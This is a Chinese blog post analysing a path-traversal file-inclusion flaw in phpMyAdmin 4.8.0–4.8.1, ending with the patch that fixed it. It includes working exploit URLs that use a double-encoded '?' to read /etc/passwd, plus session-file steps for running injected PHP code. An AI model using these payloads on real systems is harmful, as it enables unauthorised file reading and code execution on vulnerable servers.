Phpmyadmin任意文件包含漏洞

漏洞描述:

2018年6月19日,phpmyadmin在最新版本修复了这这个漏洞。

一个攻击者可以在服务器上包含(查看和潜在执行)文件的漏洞被发现。

该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。

攻击者必须经过身份验证,但在这些情况下除外:

    $ cfg ['AllowArbitraryServer'] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码

    $ cfg ['ServerDefault'] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码

影响版本:

    phpMyAdmin 4.8.0和4.8.1

漏洞分析:

漏洞入口在index.php文件,55-63行。

 
1

包含5个判断条件:

#1.empty($_REQUEST['target'])判断target参数是否为空。

#2.is_string($_REQUEST['target'])判断target参数是否为字符串。

#3.preg_match('/^index/', $_REQUEST['target']) 值不能以index开头。

#4.in_array($_REQUEST['target'], $target_blacklist)值不能出现在$target_blacklist内的。

#5.Core::checkPageValidity($_REQUEST['target'])根据Core类的checkPageValidity方法判断。

前面三个不需要去关注其他的,很好理解,主要看下第四和第五个条件。

第四个条件,查看$target_blacklist中的数组。

 
2

加上条件为否,所以就是不能import.php,export.php.只要不是这两个值就行。

最后看下Core类下的checkPageValidity方法,在/libraries/classes/Core.php。

 
3

checkPageValidity函数里又是五个判断:

#1.$whitelist为空则引用静态声明的$goto_whitelist

#2.如果$page没有被定义过或者$page不为字符串则return false

#$3.page存在$whitelist中的某个值则返回true

#4.$_page存在$whitelist中的某个值则返回true

#5.经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true

逐步分析:

首先checkPageValidity有两个形参,第一个是前面传过来的target参数,因为前面index.php只传了一个参数过来,所以第二个$whitelis是空的。第一个条件就判断$whitelis是否为空,为空的话,就将定义的goto_whitelist赋值给whitelis。看一下定义的goto_whitelis.

 
4

只能接这么多了,还差8个,哈哈哈。

第二个判断就是判断是否为字符串,这里需要为字符串。第三个判断target是否为$whitelis中的。是返回true。再看下个判断,这里对target做了判断,用?隔开。这里主要是phpmyadmin考虑问题比较周全,他想?后面可能还有参数。所以对?前面的数据做判断。这也是漏洞产生的原因。后面是直接对?做一次解码。然后判断经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true。这里就需要对?进行二次编码。?二次url编码为%253可绕过。

漏洞复现:

4.8.1环境。

 
5

检测是否存在漏洞

http://192.168.220.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

 
6

可以看到,直接运行了etc/passwd文件。说明存在漏洞。

getshell:

第一种:general_log,直接参考以下链接:

https://blog.csdn.net/Mikasa_/article/details/88425166

第二种:

这种比较简单,我用的就是第二种。

首先可以先执行一下SELECT '<?php phpinfo()?>';,执行成功之后

 
7

执行成功后,查看然后查看自己的sessionid,phpMyadmin的值

 
8

把值带到sess_,最后直接访问:

http://192.168.220.131:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_9cbee809ad7f5563614a5961739ed19d

 
9

可以执行成功。

 
10

修复建议:

在漏洞发布不久,该漏洞已经被修复,漏洞存在于版本号小于4.8.2的所有历史版本中,通过git changelog查看官方如何修复漏洞的。查看补丁源码,参考URL:https://github.com/phpmyadmin/phpmyadmin/commit/d1360f46cef76c5182116eb2b8fdbab1b20e687a

发现修复手法简单粗暴,直接在checkPageValidity中多加了一个参数$include。当$include=true时,仅执行第一次判断$page的合法性,我们的payload也就没有办法进入到urldecode的步骤了.

参考链接:

https://www.freebuf.com/column/207707.html

https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog



作者:低调求发展
链接:https://www.jianshu.com/p/67457e72cdec
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
posted @ 2020-08-13 09:42  0DayBug  阅读(1262)  评论(0编辑  收藏  举报